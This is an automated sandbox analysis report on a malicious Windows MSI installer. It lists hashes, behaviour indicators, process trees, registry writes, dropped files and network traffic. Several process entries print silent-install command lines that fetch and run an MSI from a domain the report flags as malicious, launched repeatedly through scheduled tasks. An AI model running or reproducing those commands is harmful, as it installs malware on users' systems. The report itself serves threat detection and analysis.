File name:

file.msi

Full analysis: https://app.any.run/tasks/664eb3e9-8b5a-4416-8a14-51090ffe8c59
Verdict: Malicious activity
Analysis date: November 13, 2024, 13:36:51
OS: Windows 10 Professional (build: 19045, 64 bit)
Indicators:
MIME: application/x-msi
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Create Time/Date: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Sep 18 14:06:51 2020, Security: 0, Code page: 1252, Revision Number: {5E2F1F22-972C-487C-AF92-ABCBDF3EC677}, Number of Words: 10, Template: ;1033, Number of Pages: 200
MD5:

B62391EF588987E34030159325987A21

SHA1:

7C8D0C37A8DD4D9F5C9447F7D6F78926D05D6D2D

SHA256:

118C1187C5B37AB9C4F9F39500D777C0A914C379D853439608157379DCB71772

SSDEEP:

49152:IK09IzHPoc2btnZ0UfmTKrA+ZnZFvqwCaeCHCjps/gAdZ3bMXJ:k9I7oc2bt1uTKr17zHCjps/h

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 6180)

    • Changes powershell execution policy (Bypass)

      • msiexec.exe (PID: 3860)

  • SUSPICIOUS

    • Reads the Windows owner or organization settings

      • msiexec.exe (PID: 5952)

    • Executes as Windows Service

      • VSSVC.exe (PID: 6728)

    • Starts POWERSHELL.EXE for commands execution

      • msiexec.exe (PID: 3860)

    • The process bypasses the loading of PowerShell profile settings

      • msiexec.exe (PID: 3860)

    • The process executes Powershell scripts

      • msiexec.exe (PID: 3860)

    • The process hide an interactive prompt from the user

      • msiexec.exe (PID: 3860)

    • The process executes via Task Scheduler

      • pcalua.exe (PID: 6712)
      • pcalua.exe (PID: 5832)
      • pcalua.exe (PID: 6028)
      • pcalua.exe (PID: 3432)
      • pcalua.exe (PID: 1204)

  • INFO

    • Checks supported languages

      • msiexec.exe (PID: 3860)
      • msiexec.exe (PID: 5952)

    • Manages system restore points

      • SrTasks.exe (PID: 6304)

    • Reads the computer name

      • msiexec.exe (PID: 5952)
      • msiexec.exe (PID: 3860)

    • Reads Environment values

      • msiexec.exe (PID: 3860)

    • Reads security settings of Internet Explorer

      • powershell.exe (PID: 6180)

    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 5952)

    • Uses string replace method (POWERSHELL)

      • powershell.exe (PID: 6180)

    • Reads the software policy settings

      • powershell.exe (PID: 6180)

    • Checks if a key exists in the options dictionary (POWERSHELL)

      • powershell.exe (PID: 6180)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.msi | Microsoft Windows Installer (88.6)
.mst | Windows SDK Setup Transform Script (10)
.msi | Microsoft Installer (100)

EXIF

FlashPix

LastPrinted: 2009:12:11 11:47:44
CreateDate: 2009:12:11 11:47:44
ModifyDate: 2020:09:18 14:06:51
Security: None
CodePage: Windows Latin 1 (Western European)
RevisionNumber: {5E2F1F22-972C-487C-AF92-ABCBDF3EC677}
Words: 10
LastModifiedBy: -
Template: ;1033
Comments: -
Pages: 200
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
148
Monitored processes
18
Malicious processes
0
Suspicious processes
1

Behavior graph

Click at the process to see the details
start msiexec.exe no specs msiexec.exe vssvc.exe no specs srtasks.exe no specs conhost.exe no specs msiexec.exe no specs powershell.exe no specs conhost.exe no specs pcalua.exe no specs msiexec.exe no specs pcalua.exe no specs msiexec.exe no specs pcalua.exe no specs msiexec.exe no specs pcalua.exe no specs msiexec.exe no specs pcalua.exe no specs msiexec.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
700"C:\Windows\System32\msiexec.exe" /i C:\Users\admin\AppData\Local\Temp\file.msiC:\Windows\System32\msiexec.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\aclayers.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
1204"c:\windows\system32\pcalua.exe" -a msiexec -c /Q /i https://app.developcore.org/admin-a853231.msiC:\Windows\System32\pcalua.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Program Compatibility Assistant
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\pcalua.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
3432"c:\windows\system32\pcalua.exe" -a msiexec -c /Q /i https://app.developcore.org/admin-a853231.msiC:\Windows\System32\pcalua.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Program Compatibility Assistant
Exit code:
3221225547
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\pcalua.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
3700"C:\Windows\System32\msiexec.exe" /Q /i https://app.developcore.org/admin-a853231.msiC:\Windows\System32\msiexec.exe—pcalua.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
1619
Version:
5.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\aclayers.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
3860C:\Windows\syswow64\MsiExec.exe -Embedding 94062D71F96CD73706E1A300087C6770C:\Windows\SysWOW64\msiexec.exe—msiexec.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\aclayers.dll
4680"C:\Windows\System32\msiexec.exe" /Q /i https://app.developcore.org/admin-a853231.msiC:\Windows\System32\msiexec.exe—pcalua.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
1619
Version:
5.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\aclayers.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
5532"C:\Windows\System32\msiexec.exe" /Q /i https://app.developcore.org/admin-a853231.msiC:\Windows\System32\msiexec.exe—pcalua.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
1619
Version:
5.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\aclayers.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
5832"c:\windows\system32\pcalua.exe" -a msiexec -c /Q /i https://app.developcore.org/admin-a853231.msiC:\Windows\System32\pcalua.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Program Compatibility Assistant
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\pcalua.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
5952C:\WINDOWS\system32\msiexec.exe /VC:\Windows\System32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Version:
5.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\aclayers.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
6028"c:\windows\system32\pcalua.exe" -a msiexec -c /Q /i https://app.developcore.org/admin-a853231.msiC:\Windows\System32\pcalua.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Program Compatibility Assistant
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\pcalua.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
Total events
17 202
Read events
16 992
Write events
192
Delete events
18

Modification events

(PID) Process:(5952) msiexec.exeKey:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SystemRestore
Operation:writeName:SrCreateRp (Enter)
Value:
48000000000000006095FE21D135DB01401700001C1A0000D50700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
(PID) Process:(5952) msiexec.exeKey:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP
Operation:writeName:SppGetSnapshots (Enter)
Value:
48000000000000006095FE21D135DB01401700001C1A0000D20700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
(PID) Process:(5952) msiexec.exeKey:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP
Operation:writeName:SppGetSnapshots (Leave)
Value:
48000000000000000AE85D22D135DB01401700001C1A0000D20700000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000
(PID) Process:(5952) msiexec.exeKey:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP
Operation:writeName:SppEnumGroups (Enter)
Value:
48000000000000000AE85D22D135DB01401700001C1A0000D10700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
(PID) Process:(5952) msiexec.exeKey:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP
Operation:writeName:SppEnumGroups (Leave)
Value:
4800000000000000B6B16222D135DB01401700001C1A0000D10700000100000000000000010000000000000000000000000000000000000000000000000000000000000000000000
(PID) Process:(5952) msiexec.exeKey:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP
Operation:writeName:SppCreate (Enter)
Value:
4800000000000000DF166522D135DB01401700001C1A0000D00700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
(PID) Process:(5952) msiexec.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SPP
Operation:writeName:LastIndex
Value:
11
(PID) Process:(5952) msiexec.exeKey:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP
Operation:writeName:SppGatherWriterMetadata (Enter)
Value:
4800000000000000ECE10223D135DB01401700001C1A0000D30700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
(PID) Process:(5952) msiexec.exeKey:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\VssapiPublisher
Operation:writeName:IDENTIFY (Enter)
Value:
480000000000000005D30423D135DB014017000000070000E8030000010000000000000000000000DEB5E4C250B1CA4A9F60692E90AE8FFF00000000000000000000000000000000
(PID) Process:(6728) VSSVC.exeKey:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer
Operation:writeName:IDENTIFY (Enter)
Value:
4800000000000000B8FE0B23D135DB01481A0000AC1A0000E80300000100000001000000000000000000000000000000000000000000000000000000000000000000000000000000
Executable files
8
Suspicious files
15
Text files
7
Unknown types
4

Dropped files

PID
Process
Filename
Type
5952msiexec.exeC:\System Volume Information\SPP\metadata-2 —
MD5:—
SHA256:—
3860msiexec.exeC:\Users\admin\AppData\Local\Temp\msi2AFC.txt —
MD5:—
SHA256:—
3860msiexec.exeC:\Users\admin\AppData\Local\Temp\scr2AFD.ps1 —
MD5:—
SHA256:—
3860msiexec.exeC:\Users\admin\AppData\Local\Temp\scr2AFE.txt —
MD5:—
SHA256:—
3860msiexec.exeC:\Users\admin\AppData\Local\Temp\pss2B0E.ps1 —
MD5:—
SHA256:—
3860msiexec.exeC:\Users\admin\AppData\Local\Temp\pss2B0F.ps1 —
MD5:—
SHA256:—
5952msiexec.exeC:\System Volume Information\SPP\snapshot-2binary
MD5:B50DA629BA43C986273D1816655342A7
SHA256:39389F8866C6F0B47227707FD0544F79FF969DB422E6FFF76620D5DBFFE2B831
5952msiexec.exeC:\Windows\Temp\~DF7CA87CA80097B873.TMPbinary
MD5:99A07651729E01EB559666222D8682C6
SHA256:BCBE0C91C69FDD033E0500FF207214BB673EB3C30765D3B5932A65BEAFDEB180
5952msiexec.exeC:\System Volume Information\SPP\OnlineMetadataCache\{c2e4b5de-b150-4aca-9f60-692e90ae8fff}_OnDiskSnapshotPropbinary
MD5:B50DA629BA43C986273D1816655342A7
SHA256:39389F8866C6F0B47227707FD0544F79FF969DB422E6FFF76620D5DBFFE2B831
5952msiexec.exeC:\Windows\Installer\MSI293C.tmpexecutable
MD5:40D42B5D69F7BD41604139CDD8E7E6E5
SHA256:81919EA4A1BCC071EE1920B7B0F38627E7D9D1BD55B68366D232E29C4CE9B0B9
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
20
DNS requests
10
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1588
RUXIMICS.exe
GET
200
104.76.201.160:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
5488
MoUsoCoreWorker.exe
GET
200
104.76.201.160:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
2236
SIHClient.exe
GET
200
104.76.201.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
2236
SIHClient.exe
GET
200
104.76.201.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
6944
svchost.exe
40.127.240.158:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
5488
MoUsoCoreWorker.exe
104.76.201.160:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
1588
RUXIMICS.exe
104.76.201.160:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
5488
MoUsoCoreWorker.exe
40.127.240.158:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
5488
MoUsoCoreWorker.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4020
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
6944
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
5952
msiexec.exe
160.16.200.77:443
app.developcore.org
SAKURA Internet Inc.
JP
malicious

DNS requests

Domain
IP
Reputation
www.microsoft.com
  • 104.76.201.160
whitelisted
settings-win.data.microsoft.com
  • 51.104.136.2
whitelisted
app.developcore.org
  • 160.16.200.77
malicious
self.events.data.microsoft.com
  • 52.168.112.67
whitelisted
slscr.update.microsoft.com
  • 172.202.163.200
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 52.165.164.15
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
file.msi